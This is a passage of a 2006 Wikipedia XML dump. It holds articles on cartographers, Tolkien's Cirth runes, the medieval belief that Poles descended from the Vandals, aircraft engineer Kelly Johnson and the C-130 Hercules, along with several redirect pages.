*[[Johannes van Keulen]], cartographer, founder of Firm of Van Keulen
*[[Matthäus Merian]] (Switzerland, [[1621]] &amp;ndash; [[1687]])
*[[Nicolas Sanson]] (France, [[1600]] &amp;ndash; [[1667]])
*[[Robert Morden]] (England, died [[1703]])
*[[Peter Schenk]] ([[1660]] &amp;ndash; [[1718]]/[[1719]])
*[[Friedrich Wilhelm Karl von Schmettau]] (died [[1743]])
*[[Matthias Seutter]] ([[1678]] &amp;ndash; [[1757]])
*[[Alain Manesson Mallet]] ([[1630]] &amp;ndash; [[1706]])

==18th century==
*[[Thomas Jefferys]] (c. [[1710]] - [[1771]]) Geographer of King [[George III of the United Kingdom]]
*[[Johann Friedrich Endersch]] (Germany, fl. [[1755]])
*[[Robert Erskine|Colonel Robert Erskine]] ([[1735]] - [[1780]]) [[Geographer]] and Surveyor-General of the [[Continental Army]] during the [[American Revolution]].
*[[John Rocque]] (England, [[1709]] - [[1762]])
*[[Simeon De Witt]] ([[1756]] - [[1834]]) Successor to Robert Erskine and Surveyor-General of the State of [[New York]]
*[[Fielding Lucas Jr.|Lucas, Fielding Jr.]] (c. [[1781]]—[[1854]]) Lucas Brothers, [[Baltimore]], [[USA]]
*[[Thomas Richardson mapmaker|Thomas Richardson]] - [[Scottish people|Scottish]]
*[[James Cook]] (Captain [[Royal Navy | RN]]) ([[1728]] &amp;ndash; [[1779]]) navigator and naval chart maker
*[[James Wilson (globe maker)|James Wilson]] ([[1763]] &amp;ndash; [[1835]]) First globe maker in the US.

==19th century==
*[[George Bradshaw]] (1801 - 1853)
*[[Carl Diercke]] (1842 - 1913)
*[[Paul Diercke]] (1874 - 1937)
*[[Max Eckert-Greifendorff]] (1868 - 1938)
*[[Hermann Haack]] (1872 - 1966)
*[[Charles F. Hoffmann]]
*[[Eduard Imhof]] ([[1895]] - [[1986]])
*[[Peter Kozler]] (Slovenia, [[1824]] - [[1879]]), lawyer, geographer, politician, manufacturer.
*[[Thomas Moule]] (England, 1784 - 1851)
*[[John Tallis|John Tallis and Company]] (England, 1838 - 1851)
*[[Nicolas Auguste Tissot]] (France)
*[[Philippe Vandermaelen]] (Belgium, 1795 - 1869)

==20th century==
*[[Erik Arnberger]] (1917 - 1987)
*[[Jacques Bertin]] (1918-  )
*[[Roger Brunet]] (1931-  )
*[[Günther Hake]] (1922 - 2000)
*[[George F. Jenks]] (1916 - 1996)
*[[Edgar Lehmann]] (1905 - 1990)
*[[Rudi Ogrissek]] (1926 - 1999)
*[[Erwin Raisz]] (1893 - 1968)
*[[Arthur H. Robinson]] (1915 - 2004)
*[[John C. Sherman]] (1916 - 1996)
*[[Waldo R. Tobler]] (1930-  )

==21st century==
*[[Mike Reagan (mapmaker)|Mike Reagan]]
*[[Jay Foreman (mapmaker)|Jay Foreman]]
==Cartography organizations==
*[http://www.cartography.org.uk/ British Cartographic Society]
*[http://www.soc.org.uk/ Society of Cartographers]
*[[NACIS]] [http://www.nacis.org/ North American Cartographic Information Society]
*[http://www.cartography.ch/ Swiss Society of Cartography]
*[[Ordnance Survey]] ([[United Kingdom]])

[[Category:Lists of people by occupation|Cartographers]]
[[Category:Cartographers| List of Cartographers]]

[[de:Kartograf]][[pt:Lista de cartógrafos]]
[[sl:seznam kartografov]]</text>
    </revision>
  </page>
  <page>
    <title>Christian antisemitism</title>
    <id>7688</id>
    <revision>
      <id>15905746</id>
      <timestamp>2002-12-09T15:14:20Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Christianity_and_anti-Semitism]]</comment>
      <text xml:space="preserve">#REDIRECT [[Christianity_and_anti-Semitism]]</text>
    </revision>
  </page>
  <page>
    <title>Cirth</title>
    <id>7689</id>
    <revision>
      <id>37596595</id>
      <timestamp>2006-01-31T23:56:07Z</timestamp>
      <contributor>
        <username>Weregerbil</username>
        <id>700735</id>
      </contributor>
      <comment>fix incorrect link</comment>
      <text xml:space="preserve">[[Image:cirth.png|thumb|This chart showing the runes shared by the '''''Angerthas Daeron''''' and '''''Angerthas Moria''''' is presented in Appendix E of ''[[The Return of the King (book)|The Return of the King]]''. Some of the '''''cirth''''' had different values for the [[Elvish]] and [[Khuzdul|Dwarvish]] languages and some were used in only one system or the other.]]

The '''Cirth''' (&quot;''[[Runic alphabet|Runes]]''&quot;) are the letters of an [[artificial script]] which was invented by [[J. R. R. Tolkien]] for the [[constructed language]]s he devised and used in his works.

In the fictional history of [[Middle-earth]], the original '''''Certhas Daeron''''' was created by [[Daeron]], the [[minstrel]] of king [[Thingol]] of [[Doriath]] and was later expanded into what was known as the '''''Angerthas Daeron'''''. Although the Cirth were later largely replaced by the [[Tengwar]] (which were enhanced and brought by [[Fëanor]]), they were adopted by [[Dwarves (Middle-earth)|Dwarves]] to write down their [[Khuzdul|Khuzdûl]] language ('''''Angerthas Moria''''' and '''''Angerthas Erebor''''') because their straight lines were better suited to carving than the curved strokes of the Tengwar. Some examples of Cirth writings are the inscription on [[Balin|Balin's]] tomb in [[Moria (Middle-earth)|Moria]] and the inscriptions on the top of the title pages for ''[[The Lord of the Rings]]''.

''Cirth'' is plural and is written with a capital ''C'' when referring to the writing system&amp;mdash;the runes themselves can be called ''cirth''. A single rune is a ''certh''.

Many letters have shapes also found in the historical [[Futhark]] runes (used in ''[[The Hobbit]]''), but their sound values are only similar in a few of the vowels. Rather, the system of assignment of sound values is much more systematic in the Cirth than in the historical runes (e.g., voiced variants of a voiceless sound are expressed by an additional stroke). A similar system has been proposed for a few historical runes (e.g. ''p'' &amp;#5832;  and ''w'' &amp;#5817; as variants of ''b'' &amp;#5842;), but is in any case much more obscure.

The Cirth are not part of the [[Unicode]] Standard. However the [[ConScript Unicode Registry]] has defined the U+E080&amp;ndash;E0FF range of the Unicode &quot;Private Use Area&quot; for Cirth.

== See also ==
* [[Tengwar]]
* [[Sarati]]
* [[Languages of Middle-earth]]

== External links ==
* [http://www.cirth.de Cirth.de - Explore the appearances of runes in Tolkien's work]
* [http://ring-lord.tripod.com/cirth/index.htm Dan Smith's Cirth article] Information and font to download
* [http://en.wikibooks.org/wiki/History_of_Elven_writing_systems History of Elven writing systems]
* [http://std.dkuug.dk/jtc1/sc2/wg2/docs/n1642/n1642.htm Official proposal to encode Cirth in Unicode]
* [http://www.evertype.com/standards/csur/cirth.html Cirth proposal for ConScript Unicode Registry]

{{Middle-earth}}

[[Category:Middle-earth languages]]
[[Category:Alphabetic writing systems]]
[[Category:Artificial scripts]]

[[de:Cirth]]
[[fr:Cirth]]
[[ja:キアス]]
[[sl:Kirt]]</text>
    </revision>
  </page>
  <page>
    <title>Connection between Poles and Vandals</title>
    <id>7690</id>
    <revision>
      <id>40918135</id>
      <timestamp>2006-02-23T21:54:17Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <text xml:space="preserve">In the [[Middle Ages]] and later there persisted a common false belief that the [[Vandals]] were ancestors of [[Poles]] or [[Slavic peoples]]. That belief originated probably because of two facts: first, confusion of the [[Venedes]] with Vandals and secondly, because both Venedes and Vandals in ancient times lived in areas later settled by Poles. In [[796]] in the ''Annales Alamanici'' one can find an excerpt saying ''Pipinus ... perrexit in regionem Wandalorum, et ipsi Wandali venerunt obvium'' (&quot;Pippen went to regions of Vandals and the Vandals came to meet him&quot;). In ''Annales Sangallenses'' the same raid (however put in [[795]] is summarised in one short message ''Wandali conquisiti sunt'' (&quot;Vandals were destroyed&quot;)). This means that early medieval writers gave the name of Vandals to [[Eurasian Avars|Avars]].  

Very soon after that in chronicles the name &quot;Vandal&quot; started to mean &quot;Slavs&quot; (eg. in the same ''Annales Alamanici'' about a raid of [[Charlemagne]] in the country of the [[Polabian]] Slavs: ''perrexit in regionem Wandalorum''). In [[1056]] ''Annales Augustani'' mentioned defeat of Germans with Slavic [[Lucics]] (?) as ''exercitus Saxonum a Wandalis trucidatur'' (&quot;an army of Saxons is destroyed by Vandals&quot;). In the chronicle of [[Adam of Bremen]] there is a longer sentence:

:''Sclavania igitur, amplissima Germaniae provintia, a Winulis incolitur, qui olim dicti sum Wandali; decies maior esse fertur nostra Saxonia, presertim si Boemiam et eos, qui trans Oddaram sunt, Polanos, quaia nec habitu nec lingua discrepant, in partem adiecreris Sclavaniae''

that is: &quot;Slavania (Slavic lands), the biggest from Germanic countries, is inhabited by Winnils, who were formerly called Vandals. It is supposed to be bigger than our Saxony, especially when it would include Bohemians and Polans across the Oder, since they are no different in customs and language&quot;.

In 983-993 Gerhard of Augsburg in ''Miracula Sancti Oudalrici'' (about saint Udalric) called [[Mieszko I]] ''dux Wandalorum, Misico nomine''. 

Probably the first man who directly mentioned supposedly Vandalic roots of Poland was the Polish chronicler [[Wincenty Kadlubek]] in the [[12th century]], who wrote that Poles were once called Vandals, because they live next to the river Vandalus ([[Vistula]]), and that river received its name from the mythical queen [[Vanda]] who committed suicide by drowning in it. A similar story was told by the author of ''Wielkopolska chronicle'' from the [[14th century]], and then Dzierzwa from [[Krakow]] in the [[14th century]], who tried to give Slavic etymology to all known Vandalic names, like deriving ''Vanda'' from ''węda'', that is fishing-rod. 

In [[12th century]] also Gerwazy from Tilbury, English writer in ''Otia imperialia'' wrote that citizens of Poland are called and are calling themselves Vandals. Similar thoughts gave German historian Albert Krantz ([[1450]]-[[1517]]) in ''Wandalia sive historia de Wandalorum vera origine, variis gentibus, crebris a aptria migrationibus, regnis item, etc'' where who consequently connected history of ancient Vandals and Slavs. The same was repeated by Falvio Blondi from Italy, and then [[Maciej Miechowita]] in ''Tractatus de duabus Sarmatiis...'' from [[1517]].  Other arguments that Vandals were Polish ancestors were supplied by Marcin Bielski in [[15th century]]. The first Polish historian to deny any connection to Vandals and to criticise that idea was Marcin [[Kromer]], bishop of [[Warmia]], author of ''De origine et rebus gestis Polonorum'' from [[1555]]. 

==External links==

*[http://www.pilot.pl/big_pilot.php3?Z_CITY_NAME=wan*&amp;form_t=1&amp;lang=pl List of toponyms in Poland beginning with Wand-, Want-, Wank, etc.]

[[Category:Prehistory of Poland (until 966)]]
[[Category:History of Europe]]</text>
    </revision>
  </page>
  <page>
    <title>Clarence Johnson</title>
    <id>7691</id>
    <revision>
      <id>41243471</id>
      <timestamp>2006-02-26T00:49:04Z</timestamp>
      <contributor>
        <username>AKGhetto</username>
        <id>103207</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up and  re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">''This article is about the aeronautical engineer.  For Atlanta Braves outfielder Kelly Johnson, go [[Kelly Johnson (baseball)|here]].''

[[Image:Kelly-Johnson Electra.jpg|right|thumb|300px|Kelly Johnson participated in the design of the [[Lockheed L-10 Electra]], testing a model of the design in the [[wind tunnel]] of the [[University of Michigan]].]]
'''Clarence Leonard &quot;Kelly&quot; Johnson''' ([[February 27]], [[1910]] - [[December 21]], [[1990]]) was an [[aircraft]] [[engineer]] and [[aeronautics|aeronautical]] innovator&amp;mdash;with [[Burt Rutan]], widely considered one of the best (and certainly one of the most prolific). He worked for [[Lockheed]] for more than four decades, playing a leading role in the design of over forty aircraft.

Johnson was born in the remote mining town of [[Ishpeming, Michigan]], to immigrant Swedish parents. He designed his first aircraft, for which he won a prize, before he was thirteen. He worked his way through school, first at Flint Junior College, and then at the [[University of Michigan]] at Ann Arbor.

Johnson, with a master's degree under his belt, joined the Lockheed Company in 1933 as a tool designer at a salary of $83 a month.  After assignments as flight test engineer, stress analyst, aerodynamicist, and weight engineer, he became chief research engineer in 1938. In 1952, Johnson was named chief engineer of Lockheed's [[Burbank, California]] plant which later became the Lockheed-California Company.  In 1956 he was chosen for the post of Vice President of Research and Development.

He became Vice President of Advanced Development Projects (ADP) in 1958.  The first ADP offices were nearly uninhabitable; the stench from a nearby plastic factory was so vile one of the engineers began answering the phone &quot;skonk works!&quot;  (Big Barnsmell's Skonk Works &amp;ndash; spelled with an &quot;o&quot; &amp;ndash; was where Kickapoo Joy Juice was brewed in the comic strip [[Lil Abner|&quot;L'il Abner&quot;]] by [[Al Capp]].)

His famed 'down-to-brass-tacks' management style was summed up by his motto, &quot;Be quick, be quiet, and be on time.&quot;

He joined Lockheed's board of directors in 1964 and became a senior vice president of the corporation in 1969.  He officially retired from Lockheed in 1975 but continued as a consultant at the Skunk Works. He was succeeded by [[Ben Rich]]. He left the Board of Directors in 1980. In June of 1983, the Lockheed Rye Canyon Research facility was renamed Kelly Johnson Research and Development Center, Lockheed-California Company, in his honor for 50 years of service to Lockheed.

Kelly Johnson was first married to Althea Louise Young in 1937, who died in December 1969. His second marriage was in May 1971, to MaryEllen Elberta Meade of New York, who died on [[October 13]], [[1980]], at 38 years old.  Johnson then married Nancy Powers Horrigan in November, 1980.

He wrote an [[autobiography]] titled ''Kelly: More Than My Share of it All'', ISBN 0874744911, first published in 1985.

Johnson died at the age of 80 at St Joseph Medical Center; after an illness that lasted for several years. He is buried at Forest Lawn (Hollywood Hills), Los Angeles, California. 

==Aircraft contributions==
Kelly Johnson contributed to the design of the following Lockheed aircraft:
[[Image:Kelly-Johnson U-2.jpg|right|thumb|300px|Kelly Johnson with a variant of the U-2.]]
* Orion 9D
* [[Lockheed L-10 Electra|Model 10 and Model 12 Electra/XC-35/C-36/Y1C-37]]
* Model 14 Super Electra
* Model 18 Lodestar
* [[PV-1 Ventura|PV-1 Ventura/B-37]]
* [[P-38 Lightning]]
* [[Lockheed Constellation|Constellation/Super Constellation]] 
* [[F-80 Shooting Star]]
* [[T-33|T-33/TV-2]] trainers
* [[P2V Neptune]]
* [[Lockheed XF-90|XF-90]]
* [[F-94 Starfire]]
* [[Lockheed X-7|X-7]]
* [[F-104 Starfighter]]
* [[C-130 Hercules]]
* [[Lockheed U-2|U-2]]
* Blackbird family: [[Lockheed YF-12|A-11]], [[A-12 Oxcart|A-12]], [[YF-12]], [[SR-71]], [[M-21]], and [[D-21]]
* [[Lockheed JetStar|JetStar/C-140]]
* [[AH-56 Cheyenne]]

==External links==
* [http://www.nap.edu/html/biomems/cjohnson.html Clarence Leonard (Kelly) Johnson]
* [http://www.astech-engineering.com/systems/avionics/aircraft/skunkworks.html Kelly Johnson's rules] for Skunkworks aircraft
* [http://www.afa.org/magazine/june2005/0605skunk.asp &quot;Lord of the Skunk Works&quot; article from ''Air Force Magazine'']
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=7873 Clarence Johnson on Find-A-Grave]

==Literature==
* Johnson, Clarence L. &quot;Kelly&quot;; Maggie Smith. (1985) ''Kelly: More Than My Share of It All''. Smithsonian Institution Press, ISBN 0874745640
* Rich, Ben; Leo Janos. (1996) ''Skunk Works''. Little, Brown &amp; Company, ISBN 0316743003

[[Category:1910 births|Johnson, Clarence]]
[[Category:1990 deaths|Johnson, Clarence]]
[[Category:Aerospace engineers|Johnson, Clarence]]
[[Category:American engineers|Johnson, Clarence]]
[[Category:Lockheed Corporation|Johnson, Clarence]]
[[Category:Swedish-Americans|Johnson, Clarence]]

[[fr:Clarence “Kelly” Johnson]]
[[hu:Kelly Johnson]]
[[nl:Clarence &quot;Kelly&quot; Johnson]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese food</title>
    <id>7694</id>
    <revision>
      <id>15905751</id>
      <timestamp>2005-06-26T20:54:44Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>updated to avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chinese cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Chiliasm</title>
    <id>7695</id>
    <revision>
      <id>15905752</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Millennialism]]
</text>
    </revision>
  </page>
  <page>
    <title>Christian theosophy</title>
    <id>7696</id>
    <revision>
      <id>15905753</id>
      <timestamp>2004-09-24T16:34:09Z</timestamp>
      <contributor>
        <username>Wesley</username>
        <id>63</id>
      </contributor>
      <comment>redirecting to Theosophy, based on the Discussion page</comment>
      <text xml:space="preserve">#REDIRECT [[Theosophy]]</text>
    </revision>
  </page>
  <page>
    <title>C-130 Hercules</title>
    <id>7697</id>
    <revision>
      <id>42147079</id>
      <timestamp>2006-03-04T03:14:26Z</timestamp>
      <contributor>
        <username>PLooB</username>
        <id>256150</id>
      </contributor>
      <minor />
      <comment>/* Next generation */</comment>
      <text xml:space="preserve">[[image:usaf.c130.750pix.jpg|thumb|right|300px|'''Lockheed C-130H Hercules''']]
The '''Lockheed C-130 Hercules''' is a four-engine [[turboprop]] [[aircraft]] that serves as the main [[Tactical airlift|tactical airlifter]] for military forces worldwide. Capable of [[landing]] and [[Take off|taking off]] from short or unprepared [[Runway|runways]], it was designed as a troop transport and [[cargo aircraft]], but is now also used for a wide variety of other roles, including [[airborne infantry|airborne assault]], weather reconnaissance, [[aerial refuelling]], [[aerial firefighting]] and [[MEDEVAC]]. More than 40 different models of the Hercules — including several [[Gunship|gunships]] — are used by more than 50 nations.

The C-130 family has the longest continuous production run of any military aircraft in history. During more than 50 years of service, the family has established a solid record of reliability and durability, participating in military, civilian and [[humanitarian aid]] operations.

== Development ==
=== Origin of the Design ===
[[Image:YC-130s formation usaf.jpg|left|thumb|200px|The two YC-130 prototypes in formation. Note the blunt nose, a feature present on only the first version.]]
The [[Korean War]], which began in June, [[1950 in aviation|1950]], showed that [[World War II]]-era transports — [[C-119 Flying Boxcar|C-119 Flying Boxcars]], [[C-47 Skytrain|C-47 Skytrains]] and [[C-46 Commando|C-46 Commandos]] — were inadequate for modern warfare. Thus, on [[February 2]], [[1951 in aviation|1951]], the  [[United States Air Force]] issued a General Operating Requirement (GOR) for a new transport to [[Boeing]], [[Douglas Aircraft|Douglas]], [[Fairchild]], and [[Lockheed]]. The new transport, among other things, would have a capacity for 92 passengers or 64 paratroopers, a range of 1,100 nautical miles, takeoff capability from short and unprepared strips, and the ability to fly with one engine stopped.

Lockheed tackled the design with a team led by [[Willis Hawkins]]. The proposal for the '''Lockheed 82''' was about 130 pages and came with a design model with a wingspan of 15 inches.{{ref|rhodes}} [[Hall Hibbard]], Lockheed vice president and chief engineer, saw the proposal and directed it to [[Kelly Johnson]], who remarked when he saw the proposal, &quot;If you sign that letter, you will destroy the Lockheed Company.&quot; These words proved unportentous: both Hibbard and Johnson signed off on the proposal and the company got the contract on [[July 2]], [[1951 in aviation|1951]].{{ref|boyne}}

=== First flight ===
The first  flight of the '''YC-130''' [[prototype]] was made on [[August 23]], [[1954 in aviation|1954]] from the [[Lockheed]] plant in [[Burbank, California|Burbank]], [[California]]. The aircraft, serial number 53-3397, was the second prototype but the first of the two to fly. The YC-130 was piloted by Stanley Beltz and Roy Wimmer on its 61-minute flight to [[Edwards Air Force Base]]; Jack Real and Dick Stanton served as flight engineers. Kelly Johnson, apparently repenting from his dislike of the design, flew chase in a [[P2V Neptune]].{{ref|dabney}}

=== Production ===
[[Image:Canada CC-130 Hercules.jpg|thumb|right|250px|[[Canadian Forces Air Command|Canadian Air Force]] CC-130 Hercules]]
After the two prototypes were completed, production moved to [[Marietta, Georgia|Marietta]], [[Georgia (U.S. state)|Georgia]], where more than 2,000 C-130s have been built.{{ref|afm}}

The initial production model, the '''C-130A''', was powered by [[Allison T56]] turboprops with 3-blade [[Propeller|propellers]]. Deliveries began in December of [[1956 in aviation|1956]], continuing until the introduction of the '''C-130B''' model in [[1959 in aviation|1959]]. Some A models were redesignated '''C-130D''' after being equipped with [[Ski|skis]] and for [[JATO|jet-assisted takeoff]]. The newer C-130B had [[Aileron|ailerons]] with more boost — 3,000 versus 2,050 lbf/in² (21 versus 14 MPa) — as well as uprated engines and four-bladed propellers that were standard until the late 1990s. The performance gains over the C-130A gave the C-130B the reputation of being the design's 'sports car' model. 

The extended range '''C-130E''' model entered service in [[1962 in aviation|1962]]. The increased range was achieved by underwing fuel 5,150 litre (1,360 US gallon) tanks and more powerful [[Allison Engine Company|Allison]] T-56-A-7A turboprops. The E model also featured structural improvements, [[avionics]] upgrades and a higher gross weight.

The '''KC-130''' [[Tanker (aircraft)|tankers]], originally '''C-130F'''s procured for the [[United States Marine Corps|US Marine Corps]] (USMC) in [[1958 in aviation|1958]] (under the designation '''GV-1'''), are equipped with a removable 13,626 litre (3600 US gallon) [[stainless steel]] [[fuel tank]] carried inside the cargo compartment. The two wing-mounted hose and drogue [[aerial refueling]] pods each transfer up to 19 litres per second (equivalent to 300 US gallons per minute) to two aircraft simultaneously, allowing for rapid cycle times of multiple-receiver aircraft formations, (a typical tanker formation of four aircraft in less than 30 minutes). The [[United States Navy|US Navy]]'s '''C-130G''' has increased structural strength allowing higher gross weight operation.

The '''C-130H''' model has updated Allison T56-A-15 turboprops, a redesigned outer [[wing]], updated avionics and other minor improvements. The H model remains in widespread use with the [[United States Air Force|US Air Force]] (USAF) and many foreign air forces. Initial deliveries began in [[1964 in aviation|1964]], remaining in production until [[1996 in aviation|1996]]. An improved C-130H was introduced in [[1974 in aviation|1974]]. The equivalent model for export to the [[United Kingdom|UK]] is the '''C-130K''', known by the [[Royal Air Force]] (RAF) as the '''Hercules C.1'''. The '''C-130H-30''' ('''Hercules C.3''' in RAF service) is a stretched version of the original Hercules, achieved by inserting a 2.54m plug aft of the cockpit and a 2.03m plug at the rear of the fuselage.

The '''C-130R''' and '''C-130T''' are US Navy and USMC models, both equipped with underwing external fuel tanks. The C-130T is similar, but has numerous avionics improvements over the R model and is fully [[night-vision]] system compatible. In both models, USMC aircraft are equipped with Allison T-56-A-16 engines.

=== Civilian use ===
The '''Lockheed L-100''' is a civilian variant, equivalent to a C-130E model without pylon tanks or military equipment. The L-100 also has 2 stretched versions: the L-100-20 has an 8.3 ft (2.5 m) fuselage stretch and the L-100-30 is stretched by 15 ft (4.6 m). The L-100 has not seen widespread use in the civilian market.

=== Next generation ===
[[image:hercules.propeller.arp.jpg|thumb|right|250px|The propellers of RAF Hercules C.4 (C-130J-30)]]

In the 1970s Lockheed constructed one C-130 with [[Turbofan engine|turbofan engines]] rather than turboprops, but the US Air Force preferred the takeoff performance of the existing aircraft. In the 1980s the C-130 was intended to be replaced by the [[Advanced Medium STOL Transport]] project. However, the project was cancelled and the C-130 has remained in production.

The '''C-130J''' is the newest version of the Hercules and the only model still produced. Externally similar to the classic Hercules, the J model is a radically different aircraft under the exterior. These differences include new [[Rolls-Royce plc|Rolls-Royce]] [[Allison AE2100]] turboprops with six-bladed [[composite material|composite]] [[Scimitar propeller|scimitar propellers]], digital avionics (including [[Head-Up Display|head-up displays]] for each pilot), reduced manpower requirements (2 pilots&amp;mdash;no navigator or flight engineer), increased reliability and up to 27% lower operating costs. The C-130J is also available in a standard-length or stretched C-130J-30 version. Lockheed received the launch order for J model from the RAF, who ordered 25 aircraft, with first deliveries beginning in [[1999 in aviation|1999]]. The RAF calls the C-130J the '''Hercules C.5''' and the stretched C-130J-30 the '''Hercules C.4'''.

The largest operator of the new model will be the USAF, who are ordering the aircraft in increasing numbers, although as of [[2005 in aviation|2005]] the [[United States Congress|US Congress]] announced that C-130J acquisition would be dramatically cut back. Current operators of the C-130J are the USAF, USMC (KC-130J tanker), [[Air National Guard|US Air National Guard]], [[United States Coast Guard|US Coast Guard]], RAF, [[Royal Australian Air Force]] (but will be phased out for the [[C-17]]), [[Danish Air Force]] and the [[Italian Air Force]].

Lockheed also offered leasing of four C-130J to the German [[Luftwaffe]], who is in need for a [[Transall]]-Replacement until the [[Airbus]] [[A400M]] is available in 2010.

==Significant operational use==
[[Image:Hercules Duxford.JPG|thumb|left|250px|A Hercules C.5 at the [[Imperial War Museum Duxford]], [[England]]]]
While the C-130 is involved in cargo and resupply operations daily, it has been a part of some notable operations. One of the most famous events involving the Hercules was the [[1976]] [[Entebbe raid]] in which [[Israel|Israeli]] [[commando]] forces carried a surprise assault to rescue 103 passengers of an airliner Hijacked by [[Palestinian]] and [[Germany|German]] [[terrorists]] at [[Entebbe Airport]], [[Uganda]]. The rescue force — 200 soldiers, jeeps, and a black [[Mercedes-Benz]] (intended to resemble Ugandan [[Dictator]] [[Idi Amin]]'s vehicle of state) — was flown 4,000km from Israel to Entebbe by five [[Israeli Air Force]] ([[IAF]]) Hercules aircraft without mid-air refueling (on the way back, the planes refueled in [[Nairobi]], [[Kenya]]). 

The Hercules also holds the record of the largest and heaviest airplane to land on an [[aircraft carrier]]. In November [[1963]], a C-130 landed without using the ship's arresting gear on the [[USS Forrestal (CVA-59)]]. The pilot, Lt. James Flatley III, was awarded the [[Distinguished Flying Cross (United States)|Distinguished Flying Cross]] for his participation. The tests were highly successful, but the idea was considered too risky for routine &quot;[[Carrier onboard delivery|Carrier On-board Delivery]]&quot;) (COD) operations. Instead, the [[C-2 Greyhound]] was developed as a dedicated COD aircraft.

The '''MC-130''' variant carries and deploys what are currently the world's largest conventional [[bomb]]s, the [[BLU-82]] &quot;daisy cutter&quot; and [[GBU-43/B]] [[Massive Ordnance Air Blast bomb]]. Daisy cutters were used during the [[Vietnam War]] to clear landing zones for [[Helicopter|helicopters]] and to eliminate [[land mine|minefields]] and have recently even been proposed for anti-personnel use. The weight and size of the weapons make existing [[bomber aircraft]] impossible or impractical for operational use.

A prominent C-130T aircraft is '''Fat Albert''', the support aircraft for the US Navy [[Blue Angels]] flight demonstration team. Although Fat Albert supports a Navy squadron, its crew consists solely of USMC personnel. At some [[Air Show|air shows]] featuring the flight team, Fat Albert takes part, performing flyovers and sometimes demonstrating its jet-assisted take off capabilities.

===Notable crashes===
[[Muhammad Zia-ul-Haq]], the [[President of Pakistan|president]] of [[Pakistan]] from [[1978]], was killed on [[August 17]] [[1988]], when the C-130 he was in wobbled shortly after take off from [[Bahawalpur]] and then crashed. The then-US ambassador to Pakistan and a US [[general]] were also killed, alongside everyone else on-board.

On [[January 30]] [[2005]], an [[Royal Air Force|RAF]] Hercules with 10 crew on board was hit by insurgent fire while taking off from Baghdad airport for Balad. Less than 24 minutes later, it crashed, as fire triggered by the hit induced an explosion in the right hand wing fuel tank, leaving the plane uncontrollable.

On [[December 6]] [[2005]], an [[Iranian Air Force]] C-130 military [[transport aircraft]] [[Iranian Air Force C-130 crash in Tehran|crashed into a ten-floor apartment building]], home to a number of air force personnel, in a residential area of [[Tehran]], the capital city of [[Iran]]. Bound for [[Bandar Abbas]] on the Persian Gulf, the aeroplane was carrying 84 passengers (68 of whom were journalists due to watch military exercises off the country's south coast) and 10 crew members. In total 116 people were confirmed dead, (as of [[December 8]] 2005).

==Variants==
[[Image:USCG C130 Hercules.jpg|right|thumb|250px|US Coast Guard C-130 Hercules]]
Significant variants of the C-130 include:
* [[AC-130 gunship]]
* [[DC-130]] and GC-130 drone control 
* [[EC-130 Commando Solo]] command and control, and electronic warfare
* EC-130 Compass Call, electronic warfare and electronic spoofing 
* EC-130E ABCCC
* [[HC-130]]P/N special operations refueling, long-range surveillance, search and rescue
* JC-130 and NC-130 space and missile operations
* KC-130 tactical refueling tanker
* [[LC-130 Hercules|LC-130]] Arctic &amp; Antarctic support
* [[MC-130]]E/H Combat Talon I/II (special operations)
* MC-130P Combat Shadow (special operations)
* YMC-130H three modified for planned [[Iran hostage crisis]] rescue attempt under project [[Credible Sport]]
* PC-130 maritime patrol
* RC-130 reconnaissance 
* SC-130 search and rescue
* VC-130 VIP transport 
* [[WC-130]] weather reconnaissance

==Units using the Hercules==
:''Main article: [[List of units using the C-130 Hercules]]'' &lt;br /&gt; &lt;!-- main --&gt;
Major operators of the C-130 include the [[United States]], [[United Kingdom]], [[Canada]], [[Romania]], [[South Africa]], [[Pakistan]], [[Portugal]], [[Australia]], [[Aeronautica Militare Italiana|Italy]], [[Israel]], [[Japan]], [[Taiwan]], [[New Zealand]] and [[France]].

==Specifications (C-130H)==
[[Image:C-130-3-view.png|right|300px]]
{{Airtemp|
|jet or prop?=prop
|plane or copter?=plane
|include 'armament' field?=no
|include 'capacity' field?=yes
|switch order of units?=no

&lt;!-- please include units. if something doesn't apply, leave it blank. --&gt;
|crew=4-6{{ref|avzone}}
|capacity=45,000 lb (20,000 kg) of cargo
** 92 passengers or 64 airborne troops
** 74 litter patients
|length main=97 ft 9 in
|length alt=29.8 m
|span main=132 ft 7 in
|span alt=40.4 m
|height main=38 ft 3 in
|height alt=11.6 m
|area main=1,745 ft&amp;sup2;
|area alt=162.1 m&amp;sup2;
|empty weight main=83,000 lb
|empty weight alt=37,650 kg
|loaded weight main=
|loaded weight alt=
|useful load main=72,000 lb
|useful load alt=32,650 kg
|max takeoff weight main=155,000 lb
|max takeoff weight alt=70,300 kg

|engine (prop)=[[Allison T56|Allison T56-A-15]]
|type of prop=[[turboprop]]s
|number of props=4
|power main=4,300 shp
|power alt=3,210 kW
   
|max speed main=329 knots
|max speed alt=610 km/h
|cruise speed main=292 knots
|cruise speed alt=540 km/h
|range main=2,050 nm
|range alt=3,800 km
|ceiling main=33,000 ft
|ceiling alt=10,000 m
|climb rate main= ft/min	 
|climb rate alt= m/s	 
|loading main= lb/ft&amp;sup2;	 
|loading alt= kg/m&amp;sup2;	 
|thrust/weight=	 
|power/mass main= hp/lb	 
|power/mass alt= kW/kg	
}}

==References==
# {{note|rhodes}}Rhodes, Jeff, &quot;Willis Hawkins and the Genesis of the Hercules&quot;, ''Code One Magazine,'' http://www.codeonemagazine.com/archives/2004/articles/aug_04/hawkins/
# {{note|boyne}}Boyne, Walter J., ''Beyond the Horizons: The Lockheed Story''. St. Martin's Press: New York, 1998.
